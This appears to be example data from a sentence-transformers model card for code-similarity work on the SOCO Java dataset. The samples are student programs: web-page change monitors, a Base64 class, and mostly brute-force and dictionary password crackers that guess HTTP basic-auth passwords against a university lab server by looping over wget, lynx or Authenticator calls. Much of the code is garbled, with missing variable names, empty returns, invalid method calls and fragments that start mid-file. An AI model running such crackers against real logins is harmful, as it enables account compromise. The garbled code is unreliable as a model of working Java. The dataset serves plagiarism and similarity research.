               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 5:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = letters1.charAt(k);
               break;
            case 6:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 7:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            default:
               break;
         }

         f_counter++;
         t_counter++;

         password = new String(c);
         return c;
      }
   }
}
, 

import java.io.*;
import java.*;
import java.util.StringTokenizer;

public class Dictionary
{
   public static void main(String args[])
   {
      final String DICT_FILE = "/usr/share/lib/dict/words"; 
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  
      String password;
      String s = null;
      int num_tries = 0;
      
      try
      {
         
         BufferedReader dict_word = new BufferedReader
                                  (new FileReader (DICT_FILE));
  
         
         while((password = dict_word.readLine())!= null)
         {        
            try 
            {
               
               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
              
               BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

               BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

               
               while ((s = stdInput.readLine()) != null)
               {
                  System.out.println(s);
               }
                  
               
               while ((s = stdError.readLine()) != null)
               {
                  System.out.println(s);
               }

               try
	       {
                  p.waitFor(); 
               }
               catch (InterruptedException g)  
               {
               }  

               num_tries++;
                  
               if((p.exitValue()) == 0) 
               {       
                  System.out.println("**********PASSWORD IS: " + password);
	          System.out.println("**********NUMBER OF TRIES: " + num_tries);
                  System.exit(1);
               }
            }
            catch (IOException e)
            {
               System.out.println("exception happened - here's what I know: ");
               e.printStackTrace();
               System.exit(-1);
            }
         }
         
         System.out.println("DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD");
         System.out.println("**********Sorry, password was not found in dictionary file");
         System.exit(1);

      }
      catch (FileNotFoundException exception)
      {
         System.out.println(exception);
      }
      catch (IOException exception)
      {
         System.out.println(exception);
      }
   }
}
  
, source_sentence: 





import java.io.*;
import java.net.*;



public class Dictionary
{
   public static void main (String args[]) throws IOException,
   MalformedURLException
   {
      final String username = "";
      final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
      final String dictfile = "/usr/share/lib/dict/words";
      String temppass;
      String password = "";
      URL url = new URL(fullurl);
      boolean cracked = false;

       startTime = System.currentTimeMillis();

      
      BufferedReader r = new BufferedReader(new FileReader(dictfile));

      while((temppass = r.readLine()) != null && !cracked)
      {  
         
         if(temppass.length() <= 3)
         {
            
            if(isAlpha(temppass))
            {
               
               Authenticator.setDefault(new MyAuthenticator(username,temppass));
               try{
                  BufferedReader x = new BufferedReader(new InputStreamReader(
                     url.openStream()));
                  cracked = true;
                  password = temppass;
               } catch(Exception e){}
            }
         }
      }

       stopTime = System.currentTimeMillis();
      
      if(!cracked)
         System.out.println("Sorry, couldnt find the password");
      else
         System.out.println("Password found: "+password);
      System.out.println("Time taken: "+(stopTime-startTime));
   }

   public static boolean isAlpha(String s)
   {
      boolean v = true;
      for(int i=0; i<s.length(); i++)
      {
         if(!Character.isLetter(s.charAt(i)))
            v = false;
      }
      return ;
   }
}


sentences: import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod("HEAD");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println("cracked with " + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println(" was  exception: " + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, 

public class Base64 {


static public char[] encode(byte[] data)
{
    char[] out = new char[((data.length + 2) / 3) * 4];

    
    
    
    
    for (int i=0, index=0; i<data.length; i+=3, index+=4) {
        boolean quad = false;
        boolean trip = false;

        int bat = (0xFF & (int) data[i]);
        bat <<= 8;
        if ((i+1) < data.length) {
            bat |= (0xFF & (int) data[i+1]);
            trip = true;
        }
        bat <<= 8;
        if ((i+2) < data.length) {
           bat  |= (0xFF & (int) data[i+2]);
            quad = true;
        }
        out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+1] = alphabet[bat & 0x3F];
        bat >>= 6;
        out[index+0] = alphabet[ bat & 0x3F];
    }
    return out;
}

  
static public byte[] decode(char[] data)
{
    
    
    
    
    
    

    int tempLen = data.length;
    for( int ix=0; ix<data.length; ix++ )
    {
        if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
            --tempLen;  
    }
    
    
    
    

    int len = (tempLen / 4) * 3;
    if ((tempLen % 4) == 3) len += 2;
    if ((tempLen % 4) == 2) len += 1;

    byte[] out = new byte[len];



    int shift = 0;   
    int accum = 0;   
    int index = 0;

    
    for (int ix=0; ix<data.length; ix++)
    {
        int value = (data[ix]>255)? -1: codes[ data[ix] ];

        if ( value >= 0 )           
        {
            accum <<= 6;            
            shift += 6;             
            accum |= value;         
            if ( shift >= 8 )       
            {
                shift -= 8;         
                out[index++] =      
                    (byte) ((accum >> shift) & 0xff);
            }
        }
        
        
        
        
        
        
    }

    
    if( index != out.length)
    {
        throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
    }

    return out;
}





static private char[] alphabet =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
        .toCharArray();




static private byte[] codes = new byte[256];
static {
    for (int i=0; i<256; i++) codes[i] = -1;
    for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
    for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
    for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
    codes['+'] = 62;
    codes['/'] = 63;
}
}, 
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class Dictionary
{



    public void crackAddress(String fileName) throws Exception
    {
       String line,username="",passwd,pass;
       int flag=0,i;
       BufferedReader bf = new BufferedReader(new FileReader(fileName));
       Runtime run = Runtime.getRuntime();
       GregorianCalendar =new GregorianCalendar();
       while((passwd=bf.readLine().trim())!=null)
       {
           if((i=passwd.indexOf("\'"))!= -1)
                 {
                    passwd =passwd.substring(0,i)+("\\")+(passwd.substring(i,passwd.length()));
                 }

          System.out.println("Hack password with the word:"+passwd);
	      String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump";
	      Process result = run.exec(command_line);
          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));

        while((line=bf.readLine())!=null)
        {
           flag=1;
           break;

        }
        if(flag==1)
        {
           System.out.println("The username is: "+username+" The password is: "+passwd);
           break;
        }
       }
       GregorianCalendar end=new GregorianCalendar();
       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
       System.out.println("The attack use"+time+" seconds.");
    }

public static void main(String args[]) throws Exception
{
   Dictionary ds = new Dictionary();
   ds.crackAddress(args[0]);
}
}, source_sentence: package java.httputils;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;


public class WatchDog
{
    protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
    protected int interval = 24;
    protected String URL = "http://www.cs.rmit.edu./students/";
    protected String fileName = "WatchDogContent.html";
    protected String command = "./alert_mail.sh";
    protected String savedContent;
    protected String retrievedContent;

    
    public WatchDog()
    {
        super();
    }

    
    public void run() throws Exception
    {
        HttpRequestClient client = null;
        
        
        System.out.println(getClass().getName() +
                        "Retrieving baseline copy of: " + getURL());
        client = new HttpRequestClient(getURL());
        retrievedContent = client.getContent().toString();

        System.out.println(getClass().getName() +
                        "Writing baseline content : " + getFileName());
        writeFile();

        while (true)
        {
            
            System.out.println(getClass().getName() +
                            " Sleeping for hours: " + getInterval());
            Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());

            
            System.out.println(getClass().getName() +
                            " Retrieving: " + getURL());

            client = new HttpRequestClient(getURL());
            retrievedContent = client.getContent().toString();

            
            System.out.println(getClass().getName() +
                            "  saved copy: " + getURL());
            savedContent = readFile();

            
            System.out.println(getClass().getName() +
                            " Comparing saved and retrieved. ");
            if (!savedContent.equals(retrievedContent))
            {
                
                System.out.println(getClass().getName() +
                                " Difference found. ");

                writeTempFile();
                runCommand();
            }

            
            writeFile();
        }
    }


    
    public String runCommand()
    {
        String cmd = getCommand() + " \"" + getURL() + "\"";
        try
        {
            Runtime r = Runtime.getRuntime();
            System.out.println(getClass().getName() +
            " Executing: " + cmd);

            Process proc = r.exec(cmd);
        }
        catch (Exception e)
        {
            try
            {
                Runtime r = Runtime.getRuntime();
                Process proc = r.exec(cmd);
            }
            catch (Exception ex)
            {
                System.out.println(getClass().getName()
                    + " Could not run :"
                    + getCommand()
                    + " because : "
                    + ex.getMessage());
            }
        }

        return "Executed successfully";
    }

    
    protected String readFile() throws FileNotFoundException
    {
        BufferedInputStream input = null;
        FileInputStream file = null;
        StringBuffer content = new StringBuffer();
        try
        {
            file = new FileInputStream(getFileName());
            
            input = new BufferedInputStream(file);
            
        }
        catch (FileNotFoundException x)
        {
            System.err.println("File not found: " + getFileName());
            throw x;
        }

        try
        {
            int ch;
            while ((ch = input.get()) != -1)
            {
                content.append((char)ch);
            }
        }
        catch (IOException x)
        {
            x.printStackTrace();
        }
        finally
        {
            if (input != null)
            {
                try
                {
                    input.get();
                    file.get();
                }
                catch (IOException e)
                {
                }
            }
        }
        return content.toString();
    }

    
    protected void writeFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(getFileName(), false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    
    protected void writeTempFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(".html", false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    public static void main(String[] args)
    {
        WatchDog watchDog = new WatchDog();

        if (args.length < 3)
        {
            watchDog.printUsage();
        }

        
        System.out.println(watchDog.getClass().getName() +
                        ": Initialising with " +
                        args[0] + " \n" +
                        args[1] + " \n" +
                        args[2] + " \n");
        watchDog.setURL(args[0]);
        watchDog.setInterval(Integer.parseInt(args[1]));
        watchDog.setCommand(args[2]);

        
        try
        {
            System.out.println(watchDog.getClass().getName() + ": Invoking the run method.");
            watchDog.run();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append("** WatchDog proper usage **\n\n");
        s.append(
            this.getClass().getName() +
            " <URL> <interval> <Command  execute>\n\n");

        return s.toString();
    }

    
    public String getCommand()
    {
        return command;
    }

    
    public String getFileName()
    {
        return fileName;
    }

    
    public int getInterval()
    {
        return interval;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setCommand(String string)
    {
        command = string;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

    
    public void setInterval(int i)
    {
        interval = i;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public String getRetrievedContent()
    {
        return retrievedContent;
    }

    
    public String getSavedContent()
    {
        return savedContent;
    }

    
    public void setRetrievedContent(String string)
    {
        retrievedContent = string;
    }

    
    public void setSavedContent(String string)
    {
        savedContent = string;
    }

}

sentences: 






import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{

	public static void main(String[] args)    
	{
          Runtime rt = Runtime.getRuntime();
	  Process pr= null;
          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
	  String pass;
          char temp[] = {'a','a'};
          char temp1[] = {'a','a','a'};
          char temp2[] = {'a'};

	  String f= new String();
          String resp = new String();
          int count=0;
          String success = new String();
          InputStreamReader  instre;
          BufferedReader bufread;


               for(int k=0;k<52;k++)
                {
                 temp2[0]=chars[k];
                 pass = new String(temp2);              
                 count++;              

        System.out.println("The password  tried is------->"+pass+"---and attempt is=="+count);
          
              f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
                             {
                              System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                }



  
            for(int j=0;j<52;j++)
              {
                for(int k=0;k<52;k++)
                {
                 temp[0]=chars[j];
                 temp[1]=chars[k];

                 pass = new String();              
                 count++;              

                 System.out.println("The password  tried is------->"+pass+"---and attempt is=="+count);
          
                f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
                             {
                              System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                 }
               }


     
         for(int i=0;i<52;i++)
            for(int j=0;j<52;j++)
               for(int k=0;k<52;k++)
                {
                 temp1[0]=chars[i];
                 temp1[1]=chars[j];
                 temp1[2]=chars[k];
                 pass = new String(temp1);              
                 count++;              

        System.out.println("The password  tried is------->"+pass+"---and attempt is=="+count);
          
              f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
                             {
                              System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                }
	
		
	}
	
	
} 
		
, import java.util.*;
import java.io.*;



public class WatchDog {

  public WatchDog() {

  }
  public static void  main(String args[]) {
    DataInputStream newin;

    try{


      System.out.println("Downloading first copy");
      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
      String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
      String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
      while(true){
            Thread.sleep(24*60*60*1000);
            System.out.println("Downloading new copy");
            Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
            Thread.sleep(2000);
            Runtime.getRuntime().exec(cmdDiff);
            Thread.sleep(2000);
            newin = new DataInputStream( new FileInputStream( "Diff.txt"));
            if (newin.readLine() != null){
               System.out.println("Sending Mail");
               Runtime.getRuntime().exec(cmdMail);
               Runtime.getRuntime().exec("cp newfile.html oldfile.html");

            }
        }

    }
    catch(Exception e){
      e.printStackTrace();
    }

    }

}, 

import java.io.*;
import java.util.*;
import java.net.*;


public class BruteForce {

	public BruteForce() {
		
	}

	public static void main(String[] args) {

	String[] validPW = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
			"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
			"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
			"N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };

	String attackWP = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
	String userID = "";
	int trytimes = 0;
	int count=52;
	String userPassword="";
	try {
		 startmillisecond = System.currentTimeMillis();
	
		for (int i = 0; i < count; i++) {
                  for (int j = 0; j < count; j++) {
                    for (int k = 0; k < count; k++) {
			trytimes ++;
			userPassword = userID + ":" + validPW[i] + validPW[j] + validPW[k];
			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
			if (attackOK == 1) {
				 endmillisecond = System.currentTimeMillis();
				 searchmillisecond = endmillisecond - startmillisecond;
				System.out.println("Match in " + searchmillisecond + " milliseconds ");
				System.out.println("Try " + trytimes + " times ");
				System.exit(1);
			}
		    }
		  }
		}
	
		for (int i = 0; i < count; i++) {
                  for (int j = 0; j < count; j++) {
			trytimes ++;
			userPassword = userID + ":" + validPW[i] + validPW[j];
			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
			if (attackOK == 1) {
				 endmillisecond = System.currentTimeMillis();
				 searchmillisecond = endmillisecond - startmillisecond;
				System.out.println("Match in " + searchmillisecond + " milliseconds ");
				System.out.println("Try " + trytimes + " times ");
				System.exit(1);
			}
		  }
		}
	
		for (int i = 0; i < count; i++) {
			userPassword = userID + ":" + validPW[i];
			trytimes ++;
			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
			if (attackOK == 1) {
				 endmillisecond = System.currentTimeMillis();
				 searchmillisecond = endmillisecond - startmillisecond;
				System.out.println("Match in " + searchmillisecond + " milliseconds ");
				System.out.println("Try " + trytimes + " times ");
				System.exit(1);
			}
		}
	}
	catch (Exception ioe) {
            System.out.println(ioe.getMessage());
        }
        finally {
        }
	}
	
	public int attackURL(String userPassword, String attackWP) {
		int rtn = 1;
		try {
		        URL url = new URL(attackWP);
			System.out.println("User & Password :" + userPassword);
		        String encoding = Base64Converter.encode (userPassword.getBytes());
			
			URLConnection uc = url.openConnection();
			uc.setRequestProperty  ("Authorization", " " + encoding);
			InputStream content = (InputStream)uc.getInputStream();
			BufferedReader in = new BufferedReader (new InputStreamReader (content));
			String line;
			while ((line = in.readLine()) != null) {
			
				System.out.println(line);
		        }
		} catch (MalformedURLException e) {
			rtn = 2;
	       		System.out.println("Invalid URL");
		} catch (IOException e) {
      			System.out.println("Error  URL");
			rtn = 2;
		}
		return rtn;
	}

}
, source_sentence: 






import java.io.*;
import java.lang.Object;

public class WatchDog
{

   
   public static void main(String args[])throws Exception
   {
        Process p1,p2,p3,p4,p5;
        
        for(;;)
        {
          

          String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \"  < change.html"};
          String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
          String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
          String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
          String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
          String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};


          Process p = Runtime.getRuntime().exec("mkdir predir");
          p.waitFor();
          Process p1 = Runtime.getRuntime().exec("mkdir postdir");
          p1.waitFor();

          
          p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
          p1.waitFor();

          Process q2 = Runtime.getRuntime().exec(s2);
          q2.waitFor();
          Process q3 = Runtime.getRuntime().exec(s3);
          q2.waitFor();

          
          Thread.sleep(86400000);

          p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
          p3.waitFor();

          Process q4 = Runtime.getRuntime().exec(s4);
          q4.waitFor();
          Process q5 = Runtime.getRuntime().exec(s5);
          q5.waitFor();

          try
          {
            String str;
            p4 = Runtime.getRuntime().exec(s6);
            DataInputStream inp1 = new DataInputStream(p4.getInputStream());
            p4.waitFor();
            
            System.out.println("The WatchDog - Returns 0 if  change  else 1");
            System.out.println("Value :" + p4.exitValue());
            try
            {
                while ((str = inp1.readLine()) != null)
                {
                    System.out.println(str);
                }
            }
            catch (IOException e)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException e )
          {
              e.printStackTrace();
          }

          BufferedReader in = new BufferedReader(new FileReader("change.html"));
          
          if (in.readLine() != null)
          {

          try
          {
            String str1;
            p5 = Runtime.getRuntime().exec(s1);
            DataInputStream inp2 = new DataInputStream(p5.getInputStream());
            p5.waitFor();
          try
            {
                while ((str1 = inp2.readLine()) != null)
                {
                    System.out.println(str1);
                }
            }
            catch (IOException e1)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException exp)
          {
              exp.printStackTrace();
          }

        }
    }
  }
}


sentences: import java.Object;
import java.io.*;
import java.String;
import java.util.*;

class Dictionary{

      public static void main(String [] args){
              try
                {
                Date d = new Date();
                String line1="";
                String ps="";
                String file1 = "words.txt";
                String file2 = "index.html";
                String endline="Authorization failed.";
                String [] cmd = new String[4];
                cmd[0] = "wget";
                cmd[1] = "--http-user=";
                cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";

                FileReader fr1 = new FileReader(file1);
                BufferedReader in1 = new BufferedReader(fr1);
                while((line1 = in1.readLine())!=null)
                {
                  try{
                    cmd[2] = connect(line1);
                    Runtime.getRuntime().exec(cmd);
                    if(line1.length()==3)
                      ps = line1;
                    System.out.println(cmd[2]);
                    File f = new File(file2);
                    if(f.exists())
                    {
                    System.out.println("password: " + ps);
                    break;
                    }
                   }
                    catch(IOException ex)
                    {
                        System.out.println("hello1");
                    }

                }
                Date end = new Date();
                System.out.println(d.toString());
                System.out.println(end.toString());
                System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
               }

            catch(IOException e)
            {
              System.out.println("hello,didnt find file.");
            }
      }
    public static String connect(String str1)
            {
                 char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
                 String str = new String(data);
                 return str + str1;
            }

}
, import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class WatchDog
{
    public static FileWriter out = null, output = null;

    public static void main (String args[]) throws Exception {
	Socket socket = null;
	DataOutputStream  = null;
	BufferedReader bf = null, fr = null;
	String retVal = null, StatusCode = "HTTP/1.1 200 OK";
    int dirty = 0, count = 0;

         stime = System.currentTimeMillis();
        System.out.println("Detecting the changes...");

        try {

	        
            URL yahoo = new URL("http://www.cs.rmit.edu./students/");
            URLConnection yc = yahoo.openConnection();

            
            BufferedReader in = new BufferedReader(
                                    new InputStreamReader(
                                    yc.getInputStream()));

            String inputLine;
            try {
                out = new FileWriter("newstudent");
                while ((inputLine = in.readLine()) != null){
                        out.write(inputLine + "\n");
                }
            } catch (IOException ex) {
                ex.printStackTrace();
            }
            in.print();
            out.print();

            dirty = diff();
            if (dirty == 1){
               sendMail();
               System.out.println("Changes detected and email sent!");
            }

            if (diffimages() == 1){
               sendMail();
               System.out.println("Images modification detected and email sent!");
            }

            updatePage();
            System.out.println("** End of WatchDog checking **");

            } catch (Exception ex) {
              ex.printStackTrace();
            }
    }

    public static int diff()
    {
       int update = 0;

       try{
           Process process = Runtime.getRuntime().exec("diff -b RMITCSStudent newstudent");
           BufferedReader pr = new BufferedReader(
                                   new InputStreamReader(
                                   process.getInputStream()));

           output = new FileWriter("output");
           String inputLine;
           while ((inputLine = pr.readLine()) != null){
                 output.write(inputLine + "\n");
                 update = 1;
           }
           output.promt();

       }catch (Exception ex){
              ex.printStackTrace();
       }
       return update;
    }

    public static int diffimages()
    {
       int update = 0;
       String image;

       try{
           Process primages = Runtime.getRuntime().exec("./images.sh");
           wait(1);
           File imageFile = new File("imagesname");
           BufferedReader fr = new BufferedReader(new FileReader(imageFile));

           output = new FileWriter("output");
           while ((image = fr.readLine()) != null) {
                 primages = Runtime.getRuntime().exec("diff " + image + " o"+image);
                 BufferedReader pr = new BufferedReader(
                                       new InputStreamReader(
                                       primages.getInputStream()));

                 String inputLine;
                 while ((inputLine = pr.readLine()) != null){
                       output.write(inputLine + "\n");
                       update = 1;
                 }
           }
           output.print();
           fr.close();

       }catch (Exception ex){
              ex.printStackTrace();
       }
       return update;
    }

    public static void sendMail()
    {
       try{
           Process mailprocess = Runtime.getRuntime().exec("./email.sh");
       }catch (Exception ex){
           ex.printStackTrace();
       }
    }

    public static void updatePage()
    {
       String image;

       try{
           Process updateprocess = Runtime.getRuntime().exec("cp newstudent RMITCSStudent");
           Process deleteprocess = Runtime.getRuntime().exec("rm newstudent");

           File inputFile = new File("imagesname");
           BufferedReader fr = new BufferedReader(new FileReader(inputFile));
           while ((image = fr.readLine()) != null) {
                 updateprocess = Runtime.getRuntime().exec("cp " + image + " o" + image);
                 deleteprocess = Runtime.getRuntime().exec("rm " + image);
           }
           fr.close();
       }catch (Exception ex){
           ex.printStackTrace();
       }
    }

    public static void wait(int time){
	   int timer, times;
	   timer = System.currentTimeMillis();
	   times = (time * 1000) + timer;

	   while(timer < times)
			timer = System.currentTimeMillis();
	}
}, import java.io.*;
import java.util.*;
import java.net.*;
import java.net.Authenticator;


public class  BruteForce
{

	private String result ="";

	public class customAuthenticator extends Authenticator {
	       public customAuthenticator(String passwd)
           {
            this.pass = passwd;
           }

	       protected PasswordAuthentication getPasswordAuthentication()
           {
	                 return new PasswordAuthentication("",pass.toCharArray());
           }
           public String pass;
    }

    public BruteForce() {
            java.util.Date d = java.util.Calendar.getInstance().getTime();
            System.out.println(d.toString());
		char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',
							  'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',
							   'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

		String record = null;



        String url = "http://sec-crack.cs.rmit.edu./SEC/2/";

		char pass[] = {'x','x','x'};
		int count=1;
		String passwd=new String();
        HttpURLConnection connection = null;
        URL u = null;

        try
        {
         u = new URL(url);

        }
        catch (MalformedURLException e)
        {
        }

        for(int a=0;a<words.length;a++)
        {
                for(int b=0;b<words.length;b++)
                {
                        for(int c=0;c<words.length;c++)
                        {
                                 pass[0]=words[a];
                                 pass[1]=words[b];
                                 pass[2]=words[c];
                                 passwd=passwd.copyValueOf(pass,0,3);
                                 System.out.println(count+ " ) " + passwd);
                                 count++;
                                 try
                                 {

                                       connection = (HttpURLConnection) u.openConnection();
                                       Authenticator.setDefault(new customAuthenticator(passwd));

                                       if (connection.getResponseCode()!=401)
                                       {
                                            System.out.print("The password is : "+passwd);
                                            System.out.println();
                                            java.util.Date d1 = java.util.Calendar.getInstance().getTime();
                                            System.out.println(d1.toString());
                                            System.out.println("\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\n");

                                            System.exit(0);
                                       }
                                       else
                                       {
                                       }
                                       connection.disconnect();
                                 }
                                 catch (IOException e)
                                 {
                                       System.out.println(e);
                                 }
                        }
                }
        }
    }

	public static void main(String[] args)
	{


		BruteForce  = new BruteForce();
	}
}
datasets: buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 15
Created: 2025-06-10 12:49:47